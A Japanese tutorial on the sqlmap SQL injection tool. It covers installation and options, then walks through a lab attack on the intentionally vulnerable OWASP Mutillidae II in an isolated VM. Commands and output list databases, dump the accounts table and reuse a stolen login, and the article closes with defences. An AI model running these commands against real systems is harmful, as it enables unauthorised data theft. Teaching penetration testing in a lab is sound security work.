SQLインジェクションの脆弱性診断ツールとして、多くのセキュリティエンジニアに支持されている『sqlmap』。
この記事では、sqlmapの基本的な使い方から便利なオプション、さらに検証環境を使った実践手順までを体系的に解説します。
本記事では、OWASPが提供するやられアプリ「OWASP BWA」を使って、SQLインジェクションの脆弱性診断の流れを解説しています。
sqlmapとは
sqlmapとは、SQLインジェクション(SQL injection)の脆弱性を自動で検出するためのオープンソースツールです。Pythonで開発されており、クロスプラットフォームで動作します。手動では難しいSQLインジェクションの網羅的な検出や、DB構成情報の取得、データ抽出などを効率的に行うことができます。
脆弱性診断やペネトレーションテストの現場で広く使われており、IPAやOWASPなどでも有用性が高いツールとして取り上げられています。
- IPA(独立行政法人 情報処理推進機構):ホワイトハッカー勉強会 初級編
- OWASP(Open Worldwide Application Security Project):Blind SQL Injection
主な特徴
高い自動化能力
その最大の特徴は、診断対象のWebアプリケーションに対し、最小限の情報からでも高精度な調査を自動的に実行できる点にあります。具体的には、対象URLと最小限のパラメータさえ指定すれば、対象サイトがどのようなデータベース製品を使っているか、SQLインジェクションの有無の判定、さらにはデータベースの列挙、データの抽出までを自動的に実行できます。
多彩なインジェクション手法に対応
sqlmapは、主要なSQLインジェクション手法に対応しており、これらはWebアプリケーションの脆弱性において特に多く見られる攻撃パターンです。それぞれの手法に対して専用の検出アルゴリズムを用いることで、高精度な脆弱性判定を実現しています。
- boolean-based blind(ブール型ブラインド)
- time-based blind(時間差ブラインド)
- error-based(エラー型)
- UNION query-based(UNIONクエリ型)
- stacked queries(スタッククエリ型)
- out-of-band(帯域外通信型)
柔軟なターゲット指定が可能
sqlmapは、URLパラメータだけでなく、POSTデータ、Cookie、HTTPヘッダー(User-AgentやRefererなど)にも対応しています。また、Burp SuiteやOWASP ZAPなどのプロキシツールでキャプチャしたHTTPリクエストファイルをそのまま読み込んで診断を行うこともできます。
オープンソース・無料
sqlmapはGNU一般公衆利用許諾契約(GPL)に基づくオープンソースソフトウェアであり、誰でも無料で利用することが可能です。
sqlmapが対応しているデータベース
sqlmapは、商用・オープンソースを問わず、幅広い種類のデータベース管理システム(DBMS)に対応しています。日本の企業システムでよく使用されている「MySQL」「PostgreSQL」「Microsoft SQL Server」「Oracle Database」にも対応しているため、効率的にSQLインジェクションの診断を行うことができます。
Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB, Aurora, OpenGauss, ClickHouse, Virtuoso and DM8 database management systems.
出典:sqlmap公式サイト(https://sqlmap.org/)
sqlmapは、データベースエンジンを自動検出する機能も備えており、対象のWebアプリケーションに対して特定のDBMS名を明示せずとも、通信内容やエラーメッセージから推定し、それに適した手法で診断を実行します。
SQLインジェクション(SQL injection)とは
SQLインジェクション(SQL injection)とは、Webアプリケーションがデータベースと連携する際に、入力内容を適切に検証・無害化せずにSQLクエリへ組み込んでしまうことで、攻撃者が意図的に悪意のあるSQL文を注入し、アプリケーションの挙動を不正に操作する攻撃手法です。
例えば、ユーザー認証の処理において、攻撃者が' OR '1'='1
といった文字列を入力欄に仕込むと、SQLの論理式が常に真と判定され、正規のユーザーとして認証が突破される可能性があります。
SQLインジェクションは古典的な攻撃手法でありながら、現在でも重大な脆弱性として位置付けられています。実際、株式会社サイバーセキュリティクラウドが発表したWebアプリケーションへのサイバー攻撃検知レポート(2025年1〜3月)でも、SQLインジェクション攻撃は第3位にランクインしています。
SQLインジェクション攻撃が成功すると、以下のような深刻な影響が発生する恐れがあります。
- データベース内の個人情報や機密情報が盗まれる
- データの改ざんや削除が実行される
- 管理者権限が乗っ取られる など
攻撃者がOSコマンド実行などさらに高度な攻撃へと発展させるケースも報告されており、単なる情報漏えいでは済まない事例も少なくありません。
SQLインジェクションのような入力値に起因する脆弱性は、開発段階でのセキュリティ対策が不十分な場合に見過ごされやすいため、動的テストツールや自動スキャンツールを活用した定期的な検証が重要です。本記事で扱う「sqlmap」は、まさにこのSQLインジェクションの有無を自動で検査するためのツールであり、実務での脆弱性診断やペネトレーションテストにおいて非常に効果的です。
sqlmapをインストール
sqlmapはPython製のツールであるため、Pythonの実行環境(バージョン2.6、2.7、3.xのいずれか)が必要です。Windows、Linux、macOSなど主要OSに対応しており、特にKali Linuxのようなセキュリティ特化型ディストリビューションにはデフォルトで搭載されている場合もあります。
一般的な環境では、GitHubの公式リポジトリからクローンして利用することができます。
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
インストールに関する最新情報は、GitHubのsqlmap公式サイトをご確認ください。
この記事では、Kali Linuxにプリインストールされているsqlmapを用いて、セキュリティ診断の検証を行っています。
sqlmapの起動方法
一般的な環境の場合
$ python sqlmap.py [オプション]
sqlmapはPython製のツールであるため、通常のPythonスクリプトと同様の方法で起動します。
Kali Linuxの場合
$ sqlmap [オプション]
Kali Linux環境においては、sqlmap
を入力するだけで sqlmap.py
が実行できるように、シンボリックリンクが設定されています。
$ which sqlmap
/usr/bin/sqlmap
$ ls -l /usr/bin/sqlmap
lrwxrwxrwx 1 root root 25 4月 6 00:09 /usr/bin/sqlmap -> ../share/sqlmap/sqlmap.py
$ head -10 /usr/share/sqlmap/sqlmap.py
#! /usr/bin/python3
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import print_function
try:
sqlmapの使い方
本記事は学習目的を想定しており、不正アクセス行為を助長するものではありません。たとえ善意であっても、他者のサーバーに対して無断で脆弱性診断を行うことは「不正アクセス禁止法」等の法令に抵触する可能性があります。絶対にお控えください。
基本的な使い方
コマンド構文
$ sqlmap -u [対象URL] [オプション]
例)GETパラメータの場合
$ sqlmap -u "http://example.com/login.php?id=111"
例)POSTパラメータの場合
$ sqlmap -u "http://example.com/login.php" --data "id=111"
-u
:対象URLを指定--data
:POSTリクエストのパラメータを指定
sqlmapはパラメータid
に対し、ブール型ブラインド、時間差ブラインドなど複数の手法でインジェクションを試み、脆弱性の有無を検査します。
バージョン確認
$ sqlmap --version
ヘルプ
$ sqlmap -h # 簡易版
$ sqlmap -hh # 詳細版
脆弱性診断の流れ
脆弱性(SQLインジェクション)の有無を確認する
$ sqlmap -u "http://example.com/login.php?id=111"
脆弱性(SQLインジェクション)が検出された場合、データベース情報を順番に抽出し、脆弱性の影響度を検証します。
- データベース
- テーブル
- カラム
- データ
データベースの一覧を取得する
$ sqlmap -u "http://example.com/login.php?id=111" --dbs
- 処理内容
--dbs
:データベース一覧を取得する
テーブルの一覧を取得する
$ sqlmap -u "http://example.com/login.php?id=111" -D [データベース名] --tables
- 抽出条件
-D
:データベースを指定
- 処理内容
--tables
:テーブル一覧を取得する
カラムの一覧を取得する
$ sqlmap -u "http://example.com/login.php?id=111" -D [データベース名] -T [テーブル名] --columns
- 抽出条件
-D
:データベースを指定-T
:テーブルを指定
- 処理内容
--columns
:カラム一覧を取得する
データのタンプを取得する
$ sqlmap -u "http://example.com/login.php?id=111" -D [データベース名] -T [テーブル名] -C [カラム名] --dump
- 抽出条件
-D
:データベースを指定-T
:テーブルを指定-C
:カラムを指定
- 処理内容
--dump
:データを抽出する
よく使うオプション
非対話モードで実行 :--batch
$ sqlmap -u [対象URL] --batch
--batch
オプションを指定すると、対話的なプロンプトなしで全ての質問に自動応答しながら進行できます。CI環境での自動化や大量URLへのスキャンを行う際に便利ですが、すべての選択肢がデフォルトになる点には留意が必要です。
クッキー :--cookie
$ sqlmap -u [対象URL] --cookie="クッキー値"
--cookie
オプションを使えば、セッション情報を含めたリクエストを送ることが可能です。例えば、ログイン後のセッションに依存するページに対して検査を行う場合、ブラウザから取得したCookieをそのまま渡すことで、対象ページにアクセス可能になります。
HTTPリクエストを読み込み :-r
$ sqlmap -r request.txt
対象アプリケーションが複雑なHTTPヘッダーやセッション情報を必要とする場合は、Burp SuiteやOWASP ZAPなどで取得したリクエスト全体をファイルに保存し、-r
オプションで読み込む方法が便利です。
【実例】SQLインジェクション診断
検証対象のWebアプリケーションには、OWASP BWAに含まれている「OWASP Mutillidae II」を使用します。SQLインジェクションを含む複数の脆弱性が意図的に組み込まれており、脆弱性診断のスキルを実践的に学ぶのに最適な環境です。
下記の記事では、OWASP BWAのインストール方法を解説していますので、まだインストールしていない方はご覧ください。

本検証で使用する環境
Windowsマシン上でVirtualBoxを使用して仮想環境を構築し、仮想ネットワーク内で本検証を実施します。
仮想マシンの構成
sqlmap実行マシン | Kali Linux 2025.1 sqlmap 1.9.4 |
ターゲットマシン | OWASP BWA 1.2(Ubuntu 10.04) 192.168.10.105 |
sqlmapはKali Linuxからターゲットマシンにアクセスし、SQLインジェクションの挙動を確認します。ネットワークはホストオンリーアダプターで構成しており、外部インターネットには接続されていないため、安全に検証が行えます。
- 再現性が高く、初学者でも環境を構築しやすい。
- SQLインジェクションに限らず、さまざまな脆弱性診断のトレーニングに利用できる。
- ローカルPCの閉じられた環境のため、安心して学習を進められる。
事前準備
OWASP BWAにアクセス
Kali LinuxのFireFoxにて、OWASP BWA(例.http://192.168.10.105)にアクセスし、OWASP Mutillidae II
を選択します。

本検証で使用する画面を開く
左メニューより、OWASP 2013
-A1-Injection(SQL)
-SQLi-Extract Data
-User Info(SQL)
を選択し、本検証で使用する画面を開きます。

適当な認証情報を入力する
Name、Passwordに適当な値(例.111、222)を入力し、View Account Details
ボタンを押下します。

パスワード認証に失敗する
パスワード認証は失敗しますが、この時のURLを使って、sqlmapを実行します。

http://192.168.10.105/mutillidae/index.php?page=user-info.php&username=111&password=222&user-info-php-submit-button=View+Account+Details
sqlmapを実行
脆弱性(SQLインジェクション)の有無を確認する
$ sqlmap -u "http://192.168.10.105/mutillidae/index.php?page=user-info.php&username=111&password=222&user-info-php-submit-button=View+Account+Details" --batch
-- 実行結果の抜粋 --
Parameter: username (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
脆弱性(SQLインジェクション)が見つかったので、データベース情報を取得していきます。
データベースの一覧を取得する
$ sqlmap -u "http://192.168.10.105/mutillidae/index.php?page=user-info.php&username=111&password=222&user-info-php-submit-button=View+Account+Details" --batch --dbs
-- 実行結果の抜粋 --
available databases [34]:
[*] nowasp
[*] orangehrm
[*] personalblog
引き続き、nowasp
のテーブル情報を取得します。
テーブルの一覧を取得する
$ sqlmap -u "http://192.168.10.105/mutillidae/index.php?page=user-info.php&username=111&password=222&user-info-php-submit-button=View+Account+Details" --batch -D nowasp --tables
-- 実行結果の抜粋 --
Database: nowasp
[12 tables]
+----------------------------+
| accounts |
| balloon_tips |
| blogs_table |
| captured_data |
| credit_cards |
| help_texts |
| hitlog |
| level_1_help_include_files |
| page_help |
| page_hints |
| pen_test_tools |
| youtubevideos |
+----------------------------+
テーブル一覧が取得できました。次は、accounts
テーブルのカラムを取得します。
カラムの一覧を取得する
$ sqlmap -u "http://192.168.10.105/mutillidae/index.php?page=user-info.php&username=111&password=222&user-info-php-submit-button=View+Account+Details" --batch -D nowasp -T accounts --columns
-- 実行結果の抜粋 --
Database: nowasp
Table: accounts
[7 columns]
+-------------+------------+
| Column | Type |
+-------------+------------+
| cid | int(11) |
| firstname | text |
| is_admin | varchar(5) |
| lastname | text |
| mysignature | text |
| password | text |
| username | text |
+-------------+------------+
カラム情報が取得できたので、必要なカラムを指定して、データを取得します。
データのタンプを取得する
$ sqlmap -u "http://192.168.10.105/mutillidae/index.php?page=user-info.php&username=111&password=222&user-info-php-submit-button=View+Account+Details" --batch -D nowasp -T accounts -C username,password,mysignature --dump
Database: nowasp
Table: accounts
[24 entries]
+----------+--------------+-----------------------------------------+
| username | password | mysignature |
+----------+--------------+-----------------------------------------+
| admin | admin | g0t r00t? |
| adrian | somepassword | Zombie Films Rock! |
| john | monkey | I like the smell of confunk |
| jeremy | password | d1373 1337 speak |
| bryce | password | I Love SANS |
| samurai | samurai | Carving fools |
| jim | password | Rome is burning |
| bobby | password | Hank is my dad |
| simba | password | I am a super-cat |
| dreveil | password | Preparation H |
| scotty | password | Scotty do |
| cal | password | C-A-T-S Cats Cats Cats |
| john | password | Do the Duggie! |
| kevin | 42 | Doug Adams rocks |
| dave | set | Bet on S.E.T. FTW |
| patches | tortoise | meow |
| rocky | stripes | treats? |
| tim | lanmaster53 | Because reconnaissance is hard to spell |
| ABaker | SoSecret | Muffin tops only |
| PPan | NotTelling | Where is Tinker? |
| CHook | JollyRoger | Gator-hater |
| james | i<3devs | Occupation: Researcher |
| user | user | User Account |
| ed | pentest | Commandline KungFu anyone? |
+----------+--------------+-----------------------------------------+
取得した認証情報を試す
sqlmapで取得した認証情報(例.john、monkey)をName、Passwordに入力して、View Account Details
ボタンを押下します。

認証成功
パスワード認証が成功し、Signature=I like the smell of confunk
が表示されます。

SQLインジェクションが検出された場合の対策
SQLインジェクションが検出された場合、最優先で対応すべきは「原因コードの特定」と「被害範囲の把握」です。加えて、再発防止に向けた運用プロセスの見直しや体制の強化にも取り組む必要があります。
技術的対策
まず技術的な対策として、プレースホルダの使用や入力値のバリデーションなどが挙げられます。IPAより安全なウェブサイトの作り方として、SQLインジェクションの対策が公開されています。
独立行政法人情報処理推進機構(IPA):安全なウェブサイトの作り方 - 1.1 SQLインジェクション
加えて、Webアプリケーションファイアウォール(WAF)などの導入により、既知の攻撃パターンを遮断する仕組みを構築することが望まれます。WAFによる防御は根本対策ではありませんが、開発側での修正が即時に行えない場合や、ゼロデイ攻撃などへの応急対応策として有効です。
被害範囲の把握
SQLインジェクションが検出されたという事実は、すでに攻撃を受けている可能性を示唆します。早急にログを確認し、不正アクセスの痕跡がないか調査する必要があります。
たとえば、sqlmapによる攻撃では特定のUser-Agentやアクセス頻度の異常、リクエストパターンなどから痕跡が残る可能性があります。Webサーバのアクセスログ、DBログ、アプリケーションログなどを横断的に調査してください。
再発防止に向けた取り組み
SQLインジェクションが検出された事実は、セキュリティ事故の予兆であると同時に、組織の開発・運用プロセスにおけるセキュリティガバナンスの見直しを促す機会でもあります。CISOや各部門と連携し、再発防止のための教育・訓練やポリシー策定を検討してください。単なる脆弱性修正で終わらせず、組織全体のセキュリティレベル向上に繋げることが重要です。
さくらインターネット株式会社:脆弱性を持ったWebサイトへの攻撃を通してオフェンシブセキュリティの基礎について学ぶ